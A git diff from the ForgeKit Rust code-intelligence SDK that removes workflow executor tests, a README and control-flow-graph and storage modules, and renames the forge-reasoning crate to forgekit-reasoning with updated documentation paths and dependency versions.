assert!(!parallel_completed.is_empty()); - - assert!(audit_events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowCompleted { .. }))); - - assert!(audit_events - .iter() - .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowDeadlockCheck { .. }))); -} - -#[tokio::test] -async fn test_deadlock_check_before_execution() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - workflow.add_task(Box::new(MockTask::new("b", "Task B"))); - workflow.add_task(Box::new(MockTask::new("c", "Task C"))); - - workflow.add_dependency("a", "b").unwrap(); - workflow.add_dependency("b", "c").unwrap(); - - let a_idx = workflow.task_map.get(&TaskId::new("a")).copied().unwrap(); - let c_idx = workflow.task_map.get(&TaskId::new("c")).copied().unwrap(); - workflow.graph.add_edge(c_idx, a_idx, ()); - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_err()); - match result { - Err(crate::workflow::WorkflowError::CycleDetected(cycle)) => { - assert!(!cycle.is_empty()); - } - _ => panic!("Expected CycleDetected error, got: {:?}", result), - } -} - -#[tokio::test] -async fn test_parallel_state_updates() { - let mut workflow = Workflow::new(); - - for i in 0..10 { - workflow.add_task(Box::new(MockTask::new( - format!("task-{}", i), - &format!("Task {}", i), - ))); - } - - let mut executor = WorkflowExecutor::new(workflow); - let result = executor.execute_parallel().await; - - assert!(result.is_ok()); - let workflow_result = result.unwrap(); - assert!(workflow_result.success); - assert_eq!(workflow_result.completed_tasks.len(), 10); - - for i in 0..10 { - assert!(workflow_result - .completed_tasks - .contains(&TaskId::new(format!("task-{}", i)))); - } -} - -#[tokio::test] -async fn test_deadlock_timeout_abort() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let mut executor = WorkflowExecutor::new(workflow) - .with_deadlock_timeout(std::time::Duration::from_millis(100)); - - let result = executor.execute_parallel().await; - assert!(result.is_ok()); -} - -#[tokio::test] -async fn test_deadlock_timeout_disabled() { - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(MockTask::new("a", "Task A"))); - - let executor = WorkflowExecutor::new(workflow).without_deadlock_timeout(); - - assert!(executor.deadlock_timeout.is_none()); -} - -#[tokio::test] -async fn test_executor_with_forge_passes_context() { - use crate::workflow::task::TaskError; - use forge_core::Forge; - use tempfile::TempDir; - - struct ForgeCheckTask; - - #[async_trait] - impl WorkflowTask for ForgeCheckTask { - async fn execute(&self, context: &TaskContext) -> Result { - if context.forge.is_some() { - Ok(TaskResult::Success) - } else { - Err(TaskError::ExecutionFailed( - "no forge in context".to_string(), - )) - } - } - - fn id(&self) -> TaskId { - TaskId::new("forge-check") - } - - fn name(&self) -> &str { - "ForgeCheckTask" - } - } - - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - - let mut workflow = Workflow::new(); - workflow.add_task(Box::new(ForgeCheckTask)); - - let mut executor = WorkflowExecutor::new(workflow).with_forge(Arc::new(forge)); - let result = executor.execute().await.unwrap(); - assert!( - result.success, - "task should succeed when forge is in context" - ); -} diff --git a/forge_core/README.md b/forge_core/README.md deleted file mode 100644 index daa9ad4..0000000 --- a/forge_core/README.md +++ /dev/null @@ -1,173 +0,0 @@ -# ForgeKit - Deterministic Code Intelligence SDK - -[![Crates.io](https://img.shields.io/crates/v/forge-core)](https://crates.io/crates/forge-core) -[![Documentation](https://docs.rs/forge-core/badge.svg)](https://docs.rs/forge-core) -[![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) - -ForgeKit provides a unified SDK for code intelligence operations, integrating multiple tools into a single API with support for both SQLite and Native V3 backends. - -## Features - -- **πŸ” Graph Queries**: Symbol lookup, reference tracking, call graph navigation -- **πŸ”Ž Semantic Search**: Pattern-based code search via LLMGrep integration -- **🌳 Control Flow Analysis**: CFG construction and analysis via Mirage -- **✏️ Safe Code Editing**: Span-safe refactoring via Splice -- **πŸ“Š Dual Backend Support**: SQLite (stable) or Native V3 (high performance) -- **πŸ“‘ Pub/Sub Events**: Real-time notifications for code changes -- **⚑ Async-First**: Built on Tokio for async/await support - -## Quick Start - -```rust -use forge_core::{Forge, BackendKind}; - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - // Open a codebase with default backend (SQLite) - let forge = Forge::open("./my-project").await?; - - // Or use Native V3 backend for better performance - let forge = Forge::open_with_backend("./my-project", BackendKind::NativeV3).await?; - - // Find symbols - let symbols = forge.graph().find_symbol("main").await?; - println!("Found: {:?}", symbols); - - // Search code - let results = forge.search().pattern("fn.*test").await?; - - Ok(()) -} -``` - -## Installation - -Add to your `Cargo.toml`: - -```toml -[dependencies] -forge-core = "0.2" -``` - -### Feature Flags - -ForgeKit uses feature flags for flexible backend and tool selection: - -**Storage Backends:** -- `sqlite` - SQLite backend (default) -- `native-v3` - Native V3 high-performance backend - -**Tool Integrations (per-backend):** -- `magellan-sqlite` / `magellan-v3` - Code indexing -- `llmgrep-sqlite` / `llmgrep-v3` - Semantic search -- `mirage-sqlite` / `mirage-v3` - CFG analysis -- `splice-sqlite` / `splice-v3` - Code editing - -**Convenience Groups:** -- `tools-sqlite` - All tools with SQLite -- `tools-v3` - All tools with V3 -- `full-sqlite` - Everything with SQLite -- `full-v3` - Everything with V3 - -### Examples - -```toml -# Default: SQLite backend with all tools -forge-core = "0.2" - -# Native V3 backend with all tools -forge-core = { version = "0.2", features = ["full-v3"] } - -# Mix and match: Magellan with V3, LLMGrep with SQLite -forge-core = { version = "0.2", features = ["magellan-v3", "llmgrep-sqlite"] } -``` - -## Workspace Structure - -ForgeKit is organized as a workspace with three crates: - -| Crate | Purpose | Documentation | -|-------|---------|---------------| -| `forge_core` | Core SDK with graph, search, CFG, and edit APIs | [API Docs](docs/API.md) | -| `forge_runtime` | Indexing, caching, and file watching | [Architecture](docs/ARCHITECTURE.md) | -| `forge_agent` | Deterministic AI agent loop | [Manual](docs/MANUAL.md) | - -## Backend Comparison - -| Feature | SQLite | Native V3 | -|---------|--------|-----------| -| ACID Transactions | βœ… Full | βœ… WAL-based | -| Raw SQL Access | βœ… Yes | ❌ No | -| Dependencies | libsqlite3 | Pure Rust | -| Performance | Fast | **10-20x faster** | -| Pub/Sub | βœ… Yes | βœ… Yes | -| Tool Compatibility | All tools | All tools (v2.0.5+) | - -**Recommendation:** Use Native V3 for new projects. Use SQLite if you need raw SQL access. - -## Pub/Sub (Real-time Events) - -ForgeKit supports real-time event notifications for code changes: - -```rust -use forge_core::{Forge, BackendKind}; -use std::sync::mpsc; - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - let forge = Forge::open_with_backend("./project", BackendKind::NativeV3).await?; - - // Subscribe to node changes - let (id, rx) = forge.subscribe( - SubscriptionFilter::nodes_only() - ).await?; - - // Receive events in a separate task - tokio::spawn(async move { - while let Ok(event) = rx.recv() { - println!("Code changed: {:?}", event); - } - }); - - Ok(()) -} -``` - -### Event Types - -- `NodeChanged` - Symbol created or modified -- `EdgeChanged` - Reference/call created or modified -- `KVChanged` - Key-value store entry changed -- `SnapshotCommitted` - Transaction committed - -## Documentation - -- **[API Reference](docs/API.md)** - Complete API documentation -- **[Architecture](docs/ARCHITECTURE.md)** - System design and internals -- **[Manual](docs/MANUAL.md)** - User guide and tutorials -- **[Contributing](docs/CONTRIBUTING.md)** - Contribution guidelines -- **[Changelog](CHANGELOG.md)** - Version history - -## Tool Integrations - -ForgeKit integrates with these code intelligence tools: - -| Tool | Purpose | Backend Support | -|------|---------|-----------------| -| [magellan](https://github.com/oldnordic/magellan) | Code indexing and graph queries | SQLite, V3 | -| [llmgrep](https://github.com/oldnordic/llmgrep) | Semantic code search | SQLite, V3 | -| [mirage-analyzer](https://crates.io/crates/mirage-analyzer) | CFG analysis | SQLite, V3 | -| [splice](https://github.com/oldnordic/splice) | Span-safe editing | SQLite, V3 | - -## License - -This project is licensed under the GPL-3.0 License - see the [LICENSE](LICENSE) file for details. - -## Support - -- Issues: [GitHub Issues](https://github.com/oldnordic/forge/issues) -- Discussions: [GitHub Discussions](https://github.com/oldnordic/forge/discussions) - ---- - -**Note:** This is an early-stage project. APIs may change until v1.0. \ No newline at end of file diff --git a/forge_core/src/cfg/path_builder.rs b/forge_core/src/cfg/path_builder.rs deleted file mode 100644 index 80c2254..0000000 --- a/forge_core/src/cfg/path_builder.rs +++ /dev/null @@ -1,68 +0,0 @@ -use crate::storage::UnifiedGraphStore; -use crate::types::{BlockId, PathId, PathKind, SymbolId}; -use std::sync::Arc; - -use super::load_test_cfg; -use super::types::Path; - -#[derive(Clone, Default)] -pub struct PathBuilder { - pub(super) function: Option, - pub(super) store: Option>, - pub(super) normal_only: bool, - pub(super) error_only: bool, - pub(super) max_length: Option, - pub(super) limit: Option, -} - -impl PathBuilder { - pub fn normal_only(mut self) -> Self { - self.normal_only = true; - self.error_only = false; - self - } - - pub fn error_only(mut self) -> Self { - self.normal_only = false; - self.error_only = true; - self - } - - pub fn max_length(mut self, n: usize) -> Self { - self.max_length = Some(n); - self - } - - pub fn limit(mut self, n: usize) -> Self { - self.limit = Some(n); - self - } - - pub async fn execute(self) -> crate::error::Result> { - if let (Some(symbol), Some(store)) = (&self.function, &self.store) { - if let Some(cfg) = load_test_cfg(&store.db_path, symbol.0)? { - let mut paths = cfg.enumerate_paths(); - if let Some(max) = self.max_length { - paths.retain(|p| p.blocks.len() <= max); - } - if let Some(limit) = self.limit { - paths.truncate(limit); - } - return Ok(paths); - } - let _ = symbol; - } - - if let Some(symbol) = &self.function { - let entry = BlockId(symbol.0); - Ok(vec![Path { - id: PathId([0; 16]), - kind: PathKind::Normal, - blocks: vec![entry], - length: 1, - }]) - } else { - Ok(Vec::new()) - } - } -} diff --git a/forge_core/src/cfg/types.rs b/forge_core/src/cfg/types.rs deleted file mode 100644 index 7ec0d22..0000000 --- a/forge_core/src/cfg/types.rs +++ /dev/null @@ -1,288 +0,0 @@ -use crate::types::{BlockId, PathId, PathKind}; -use std::collections::HashMap; - -#[derive(Clone, Debug, PartialEq, Eq)] -pub struct DominatorTree { - pub root: BlockId, - pub dominators: HashMap, -} - -impl DominatorTree { - pub fn new(root: BlockId) -> Self { - Self { - root, - dominators: HashMap::new(), - } - } - - pub fn immediate_dominator(&self, block: BlockId) -> Option { - self.dominators.get(&block).copied() - } - - pub fn dominates(&self, dominator: BlockId, block: BlockId) -> bool { - if dominator == block { - return true; - } - if dominator == self.root { - return true; - } - let mut current = block; - while let Some(idom) = self.dominators.get(¤t) { - if *idom == dominator { - return true; - } - current = *idom; - } - false - } - - pub fn insert(&mut self, block: BlockId, dominator: BlockId) { - self.dominators.insert(block, dominator); - } - - pub fn len(&self) -> usize { - self.dominators.len() + 1 - } - - pub fn is_empty(&self) -> bool { - self.dominators.is_empty() - } -} - -#[derive(Clone, Debug, PartialEq, Eq)] -pub struct Loop { - pub header: BlockId, - pub blocks: Vec, - pub depth: usize, -} - -impl Loop { - pub fn new(header: BlockId) -> Self { - Self { - header, - blocks: Vec::new(), - depth: 0, - } - } - - pub fn with_blocks(header: BlockId, blocks: Vec) -> Self { - Self { - header, - blocks, - depth: 0, - } - } - - pub fn with_depth(header: BlockId, blocks: Vec, depth: usize) -> Self { - Self { - header, - blocks, - depth, - } - } - - pub fn contains(&self, block: BlockId) -> bool { - self.header == block || self.blocks.contains(&block) - } - - pub fn len(&self) -> usize { - self.blocks.len() + 1 - } - - pub fn is_empty(&self) -> bool { - self.blocks.is_empty() - } -} - -#[derive(Clone, Debug, PartialEq, Eq)] -pub struct Path { - pub id: PathId, - pub kind: PathKind, - pub blocks: Vec, - pub length: usize, -} - -impl Path { - pub fn new(blocks: Vec) -> Self { - let length = blocks.len(); - let mut hasher = blake3::Hasher::new(); - for block in &blocks { - hasher.update(&block.0.to_le_bytes()); - } - let hash = hasher.finalize(); - let mut id = [0u8; 16]; - id.copy_from_slice(&hash.as_bytes()[0..16]); - - Self { - id: PathId(id), - kind: PathKind::Normal, - blocks, - length, - } - } - - pub fn with_kind(blocks: Vec, kind: PathKind) -> Self { - let length = blocks.len(); - let mut hasher = blake3::Hasher::new(); - for block in &blocks { - hasher.update(&block.0.to_le_bytes()); - } - let hash = hasher.finalize(); - let mut id = [0u8; 16]; - id.copy_from_slice(&hash.as_bytes()[0..16]); - - Self { - id: PathId(id), - kind, - blocks, - length, - } - } - - pub fn is_normal(&self) -> bool { - self.kind == PathKind::Normal - } - - pub fn is_error(&self) -> bool { - self.kind == PathKind::Error - } - - pub fn contains(&self, block: BlockId) -> bool { - self.blocks.contains(&block) - } - - pub fn entry(&self) -> Option { - self.blocks.first().copied() - } - - pub fn exit(&self) -> Option { - self.blocks.last().copied() - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_dominator_tree_creation() { - let tree = DominatorTree::new(BlockId(0)); - assert_eq!(tree.root, BlockId(0)); - assert!(tree.is_empty()); - assert_eq!(tree.len(), 1); - } - - #[test] - fn test_dominator_tree_insert() { - let mut tree = DominatorTree::new(BlockId(0)); - tree.insert(BlockId(1), BlockId(0)); - tree.insert(BlockId(2), BlockId(1)); - - assert_eq!(tree.len(), 3); - assert_eq!(tree.immediate_dominator(BlockId(1)), Some(BlockId(0))); - assert_eq!(tree.immediate_dominator(BlockId(2)), Some(BlockId(1))); - assert_eq!(tree.immediate_dominator(BlockId(0)), None); - } - - #[test] - fn test_dominator_tree_dominates() { - let mut tree = DominatorTree::new(BlockId(0)); - tree.insert(BlockId(1), BlockId(0)); - tree.insert(BlockId(2), BlockId(1)); - - assert!(tree.dominates(BlockId(0), BlockId(0))); - assert!(tree.dominates(BlockId(0), BlockId(1))); - assert!(tree.dominates(BlockId(0), BlockId(2))); - assert!(tree.dominates(BlockId(1), BlockId(1))); - assert!(!tree.dominates(BlockId(1), BlockId(0))); - } - - #[test] - fn test_loop_creation() { - let loop_ = Loop::new(BlockId(1)); - assert_eq!(loop_.header, BlockId(1)); - assert!(loop_.is_empty()); - assert_eq!(loop_.len(), 1); - assert_eq!(loop_.depth, 0); - } - - #[test] - fn test_loop_with_blocks() { - let blocks = vec![BlockId(2), BlockId(3)]; - let loop_ = Loop::with_blocks(BlockId(1), blocks.clone()); - - assert_eq!(loop_.header, BlockId(1)); - assert_eq!(loop_.blocks, blocks); - assert!(!loop_.is_empty()); - assert_eq!(loop_.len(), 3); - } - - #[test] - fn test_loop_contains() { - let loop_ = Loop::with_blocks(BlockId(1), vec![BlockId(2), BlockId(3)]); - - assert!(loop_.contains(BlockId(1))); - assert!(loop_.contains(BlockId(2))); - assert!(loop_.contains(BlockId(3))); - assert!(!loop_.contains(BlockId(4))); - } - - #[test] - fn test_path_creation() { - let blocks = vec![BlockId(0), BlockId(1), BlockId(2)]; - let path = Path::new(blocks.clone()); - - assert_eq!(path.blocks, blocks); - assert_eq!(path.length, 3); - assert!(path.is_normal()); - assert!(!path.is_error()); - } - - #[test] - fn test_path_with_kind() { - let blocks = vec![BlockId(0), BlockId(1)]; - let path = Path::with_kind(blocks.clone(), PathKind::Error); - - assert_eq!(path.blocks, blocks); - assert_eq!(path.kind, PathKind::Error); - assert!(!path.is_normal()); - assert!(path.is_error()); - } - - #[test] - fn test_path_contains() { - let path = Path::new(vec![BlockId(0), BlockId(1), BlockId(2)]); - - assert!(path.contains(BlockId(0))); - assert!(path.contains(BlockId(1))); - assert!(path.contains(BlockId(2))); - assert!(!path.contains(BlockId(3))); - } - - #[test] - fn test_path_entry_exit() { - let path = Path::new(vec![BlockId(0), BlockId(1), BlockId(2)]); - - assert_eq!(path.entry(), Some(BlockId(0))); - assert_eq!(path.exit(), Some(BlockId(2))); - } - - #[test] - fn test_path_id_stability() { - let blocks = vec![BlockId(0), BlockId(1), BlockId(2)]; - let path1 = Path::new(blocks.clone()); - let path2 = Path::new(blocks); - - assert_eq!(path1.id, path2.id); - } - - #[test] - fn test_path_id_uniqueness() { - let blocks1 = vec![BlockId(0), BlockId(1), BlockId(2)]; - let blocks2 = vec![BlockId(0), BlockId(1), BlockId(3)]; - let path1 = Path::new(blocks1); - let path2 = Path::new(blocks2); - - assert_ne!(path1.id, path2.id); - } -} diff --git a/forge_core/src/storage/mod.rs b/forge_core/src/storage/mod.rs deleted file mode 100644 index 50f28c9..0000000 --- a/forge_core/src/storage/mod.rs +++ /dev/null @@ -1,94 +0,0 @@ -//! Storage abstraction layer supporting dual backends. -//! -//! This module provides graph-based storage for ForgeKit with support for both -//! SQLite and Native V3 backends. Users choose the backend based on their needs. -//! -//! # Backend Selection -//! -//! | Feature | SQLite Backend | Native V3 Backend | -//! |---------|----------------|-------------------| -//! | ACID Transactions | βœ… Full | βœ… WAL-based | -//! | Raw SQL Access | βœ… Yes | ❌ No | -//! | Dependencies | libsqlite3 | Pure Rust | -//! | Startup Time | Fast | Faster | -//! | Tool Compatibility | magellan, llmgrep, mirage, splice (current) | Updated tools | -//! -//! # Examples -//! -//! ```rust,no_run -//! use forge_core::storage::{UnifiedGraphStore, BackendKind}; -//! -//! # #[tokio::main] -//! # async fn main() -> anyhow::Result<()> { -//! // Use SQLite backend (default, stable) -//! let store = UnifiedGraphStore::open("./codebase", BackendKind::SQLite).await?; -//! -//! // Or use Native V3 backend (updated tools required) -//! let store = UnifiedGraphStore::open("./codebase", BackendKind::NativeV3).await?; -//! # Ok(()) -//! # } -//! ``` - -mod ops; -mod store; -#[cfg(test)] -mod tests; - -pub use sqlitegraph::backend::{EdgeSpec, NodeSpec}; -pub use sqlitegraph::config::{open_graph, BackendKind as SqliteGraphBackendKind, GraphConfig}; -pub use sqlitegraph::graph::{GraphEntity, SqliteGraph}; - -pub use store::UnifiedGraphStore; - -use std::path::Path; - -pub fn default_db_path(project_root: &Path) -> std::path::PathBuf { - let stem = project_root - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or("graph"); - let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string()); - std::path::PathBuf::from(home) - .join(".magellan") - .join(format!("{}.db", stem)) -} - -#[derive(Clone, Copy, Debug, PartialEq, Eq, Default)] -pub enum BackendKind { - #[default] - SQLite, - NativeV3, -} - -impl std::fmt::Display for BackendKind { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - match self { - Self::SQLite => write!(f, "SQLite"), - Self::NativeV3 => write!(f, "NativeV3"), - } - } -} - -impl BackendKind { - #[cfg(test)] - fn to_sqlitegraph_kind(self) -> SqliteGraphBackendKind { - match self { - Self::SQLite => SqliteGraphBackendKind::SQLite, - Self::NativeV3 => SqliteGraphBackendKind::Native, - } - } - - pub fn file_extension(&self) -> &str { - match self { - Self::SQLite => "db", - Self::NativeV3 => "v3", - } - } - - pub fn default_filename(&self) -> &str { - match self { - Self::SQLite => "graph.db", - Self::NativeV3 => "graph.v3", - } - } -} diff --git a/forge-reasoning/Cargo.toml b/forgekit-reasoning/Cargo.toml similarity index 85% rename from forge-reasoning/Cargo.toml rename to forgekit-reasoning/Cargo.toml index 2206474..d7c816d 100644 --- a/forge-reasoning/Cargo.toml +++ b/forgekit-reasoning/Cargo.toml @@ -1,12 +1,12 @@ [package] -name = "forge-reasoning" -version = "0.1.2" +name = "forgekit-reasoning" +version = "0.5.0" edition = "2021" authors = ["Forge Contributors"] description = "Reasoning tools for LLM debugging - checkpointing, hypotheses, contradictions" license = "GPL-3.0-only" repository = "https://github.com/oldnordic/forge" -documentation = "https://docs.rs/forge-reasoning" +documentation = "https://docs.rs/forgekit-reasoning" [dependencies] # Core dependencies @@ -14,14 +14,15 @@ serde = { workspace = true } serde_json = { workspace = true } anyhow = { workspace = true } chrono = { version = "0.4", features = ["serde"] } +parking_lot = "0.12" uuid = { version = "1.6", features = ["v4", "serde"] } tokio = { workspace = true } tracing = "0.1" -thiserror = "1.0" +thiserror = "2.0" async-trait = "0.1" # SQLiteGraph - storage backend -sqlitegraph = { version = "3.0.7", features = ["sqlite-backend"] } +sqlitegraph = { version = "3.2.5", features = ["sqlite-backend"] } # Cryptographic hashing for data integrity sha2 = "0.10" diff --git a/forge-reasoning/README.md b/forgekit-reasoning/README.md similarity index 94% rename from forge-reasoning/README.md rename to forgekit-reasoning/README.md index 7c9e2d3..bd3b73b 100644 --- a/forge-reasoning/README.md +++ b/forgekit-reasoning/README.md @@ -1,4 +1,9 @@ -# forge-reasoning +# forgekit-reasoning + +[![Crates.io](https://img.shields.io/crates/v/forgekit-reasoning)](https://crates.io/crates/forgekit-reasoning) +[![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) + +**Status: alpha β€” work in progress. APIs may change until v1.0.** Temporal Checkpointing for Forge Agent Reasoning Tools @@ -18,7 +23,7 @@ This crate implements the **Temporal Checkpointing** reasoning tool from the For ## Quick Start ```rust -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; fn main() -> Result<(), Box> { diff --git a/forge-reasoning/benches/checkpoint_bench.rs b/forgekit-reasoning/benches/checkpoint_bench.rs similarity index 99% rename from forge-reasoning/benches/checkpoint_bench.rs rename to forgekit-reasoning/benches/checkpoint_bench.rs index 17a9bb5..d8d26b6 100644 --- a/forge-reasoning/benches/checkpoint_bench.rs +++ b/forgekit-reasoning/benches/checkpoint_bench.rs @@ -3,7 +3,7 @@ //! Criterion.rs benchmarks for checkpoint operations use criterion::{black_box, criterion_group, criterion_main, BenchmarkId, Criterion, Throughput}; -use forge_reasoning::*; +use forgekit_reasoning::*; /// Benchmark: Single checkpoint creation fn bench_checkpoint_creation(c: &mut Criterion) { diff --git a/forge-reasoning/docs/01_HYPOTHESIS_EVIDENCE_BOARD.md b/forgekit-reasoning/docs/01_HYPOTHESIS_EVIDENCE_BOARD.md similarity index 100% rename from forge-reasoning/docs/01_HYPOTHESIS_EVIDENCE_BOARD.md rename to forgekit-reasoning/docs/01_HYPOTHESIS_EVIDENCE_BOARD.md diff --git a/forge-reasoning/docs/02_CONTRADICTION_DETECTOR.md b/forgekit-reasoning/docs/02_CONTRADICTION_DETECTOR.md similarity index 100% rename from forge-reasoning/docs/02_CONTRADICTION_DETECTOR.md rename to forgekit-reasoning/docs/02_CONTRADICTION_DETECTOR.md diff --git a/forge-reasoning/docs/03_AUTOMATED_VERIFICATION_RUNNER.md b/forgekit-reasoning/docs/03_AUTOMATED_VERIFICATION_RUNNER.md similarity index 100% rename from forge-reasoning/docs/03_AUTOMATED_VERIFICATION_RUNNER.md rename to forgekit-reasoning/docs/03_AUTOMATED_VERIFICATION_RUNNER.md diff --git a/forge-reasoning/docs/04_EXPERIMENT_BRANCHING.md b/forgekit-reasoning/docs/04_EXPERIMENT_BRANCHING.md similarity index 100% rename from forge-reasoning/docs/04_EXPERIMENT_BRANCHING.md rename to forgekit-reasoning/docs/04_EXPERIMENT_BRANCHING.md diff --git a/forge-reasoning/docs/05_BELIEF_DEPENDENCY_GRAPH.md b/forgekit-reasoning/docs/05_BELIEF_DEPENDENCY_GRAPH.md similarity index 100% rename from forge-reasoning/docs/05_BELIEF_DEPENDENCY_GRAPH.md rename to forgekit-reasoning/docs/05_BELIEF_DEPENDENCY_GRAPH.md diff --git a/forge-reasoning/docs/06_KNOWLEDGE_GAP_ANALYZER.md b/forgekit-reasoning/docs/06_KNOWLEDGE_GAP_ANALYZER.md similarity index 100% rename from forge-reasoning/docs/06_KNOWLEDGE_GAP_ANALYZER.md rename to forgekit-reasoning/docs/06_KNOWLEDGE_GAP_ANALYZER.md diff --git a/forge-reasoning/docs/07_TEMPORAL_CHECKPOINTING.md b/forgekit-reasoning/docs/07_TEMPORAL_CHECKPOINTING.md similarity index 100% rename from forge-reasoning/docs/07_TEMPORAL_CHECKPOINTING.md rename to forgekit-reasoning/docs/07_TEMPORAL_CHECKPOINTING.md diff --git a/forge-reasoning/docs/PROJECT_LOG.md b/forgekit-reasoning/docs/PROJECT_LOG.md similarity index 97% rename from forge-reasoning/docs/PROJECT_LOG.md rename to forgekit-reasoning/docs/PROJECT_LOG.md index 01ff1f0..27077d5 100644 --- a/forge-reasoning/docs/PROJECT_LOG.md +++ b/forgekit-reasoning/docs/PROJECT_LOG.md @@ -1,7 +1,7 @@ # Temporal Checkpointing Implementation Log **Project**: Forge Reasoning Tools - Temporal Checkpointing -**Location**: `/home/feanor/Projects/forge/forge-reasoning/` +**Location**: `/home/feanor/Projects/forge/forgekit-reasoning/` **Backend**: SQLiteGraph (SQLite backend) **Started**: 2026-02-19 **Status**: Wave 10 Complete - Data Integrity & Validation Added @@ -11,7 +11,7 @@ ## Directory Structure ``` -/home/feanor/Projects/forge/forge-reasoning/ +/home/feanor/Projects/forge/forgekit-reasoning/ β”œβ”€β”€ Cargo.toml # Package manifest β”œβ”€β”€ src/ β”‚ β”œβ”€β”€ lib.rs # Module exports @@ -184,7 +184,7 @@ **Run tests & benchmarks**: ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning # Run tests cargo test @@ -269,10 +269,10 @@ The crate is part of the Forge workspace: # /home/feanor/Projects/forge/Cargo.toml [workspace] members = [ - "forge_core", - "forge_runtime", - "forge_agent", - "forge-reasoning", # <-- Added + "forgekit_core", + "forgekit_runtime", + "forgekit_agent", + "forgekit-reasoning", # <-- Added ] ``` diff --git a/forge-reasoning/docs/README.md b/forgekit-reasoning/docs/README.md similarity index 99% rename from forge-reasoning/docs/README.md rename to forgekit-reasoning/docs/README.md index 44a4dd8..7fcf3a1 100644 --- a/forge-reasoning/docs/README.md +++ b/forgekit-reasoning/docs/README.md @@ -206,10 +206,10 @@ The Forge SDK (`/home/feanor/Projects/forge`) provides: - **Pub/Sub events** (real-time state changes) - **Agent loop structure** (observe β†’ plan β†’ act β†’ verify) -These reasoning tools extend Forge's `forge_agent` crate: +These reasoning tools extend Forge's `forgekit_agent` crate: ```rust -// forge_agent/src/reasoning/mod.rs +// forgekit_agent/src/reasoning/mod.rs pub mod hypothesis_board; pub mod contradiction_detector; pub mod verification_runner; diff --git a/forge-reasoning/docs/TDD_WAVE_01.md b/forgekit-reasoning/docs/TDD_WAVE_01.md similarity index 100% rename from forge-reasoning/docs/TDD_WAVE_01.md rename to forgekit-reasoning/docs/TDD_WAVE_01.md diff --git a/forge-reasoning/docs/TDD_WAVE_02.md b/forgekit-reasoning/docs/TDD_WAVE_02.md similarity index 98% rename from forge-reasoning/docs/TDD_WAVE_02.md rename to forgekit-reasoning/docs/TDD_WAVE_02.md index 797a725..6a83fd7 100644 --- a/forge-reasoning/docs/TDD_WAVE_02.md +++ b/forgekit-reasoning/docs/TDD_WAVE_02.md @@ -137,7 +137,7 @@ This prevents restoring from corrupted/incomplete checkpoints. ## Running the Tests ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning cargo test # Just Wave 2 tests diff --git a/forge-reasoning/docs/TDD_WAVE_03.md b/forgekit-reasoning/docs/TDD_WAVE_03.md similarity index 98% rename from forge-reasoning/docs/TDD_WAVE_03.md rename to forgekit-reasoning/docs/TDD_WAVE_03.md index c3a7a5c..32d7d36 100644 --- a/forge-reasoning/docs/TDD_WAVE_03.md +++ b/forgekit-reasoning/docs/TDD_WAVE_03.md @@ -162,7 +162,7 @@ pub fn open_with_recovery(path) -> Result { ## Running the Tests ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning cargo test # Just Wave 3 tests diff --git a/forge-reasoning/docs/TDD_WAVE_04.md b/forgekit-reasoning/docs/TDD_WAVE_04.md similarity index 98% rename from forge-reasoning/docs/TDD_WAVE_04.md rename to forgekit-reasoning/docs/TDD_WAVE_04.md index d34cc33..281fa13 100644 --- a/forge-reasoning/docs/TDD_WAVE_04.md +++ b/forgekit-reasoning/docs/TDD_WAVE_04.md @@ -103,7 +103,7 @@ This enables concurrent export operations. ### Thread-Safe Usage ```rust -use forge_reasoning::*; +use forgekit_reasoning::*; use std::thread; let storage = ThreadSafeStorage::in_memory()?; @@ -180,7 +180,7 @@ Both APIs remain available - choose based on your concurrency needs. ## Running the Tests ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning cargo test # Just thread safety tests diff --git a/forge-reasoning/docs/TDD_WAVE_05.md b/forgekit-reasoning/docs/TDD_WAVE_05.md similarity index 98% rename from forge-reasoning/docs/TDD_WAVE_05.md rename to forgekit-reasoning/docs/TDD_WAVE_05.md index 4424a45..1c2e8c7 100644 --- a/forge-reasoning/docs/TDD_WAVE_05.md +++ b/forgekit-reasoning/docs/TDD_WAVE_05.md @@ -149,7 +149,7 @@ service.enable_auto_checkpoint(&session, AutoCheckpointConfig { ## Complete API Example ```rust -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; #[tokio::main] @@ -261,7 +261,7 @@ if let Err(e) = operation() { ## Running the Tests ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning cargo test # Specific test suites diff --git a/forge-reasoning/docs/TDD_WAVE_06.md b/forgekit-reasoning/docs/TDD_WAVE_06.md similarity index 98% rename from forge-reasoning/docs/TDD_WAVE_06.md rename to forgekit-reasoning/docs/TDD_WAVE_06.md index 097a8c5..f9e212a 100644 --- a/forge-reasoning/docs/TDD_WAVE_06.md +++ b/forgekit-reasoning/docs/TDD_WAVE_06.md @@ -132,7 +132,7 @@ See `docs/TDD_WAVE_08.md` for the completion of real-time event streaming. ## Usage Example ```rust -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; #[tokio::main] @@ -192,7 +192,7 @@ ws.onmessage = (event) => { ## Testing ```bash -cd /home/feanor/Projects/forge/forge-reasoning 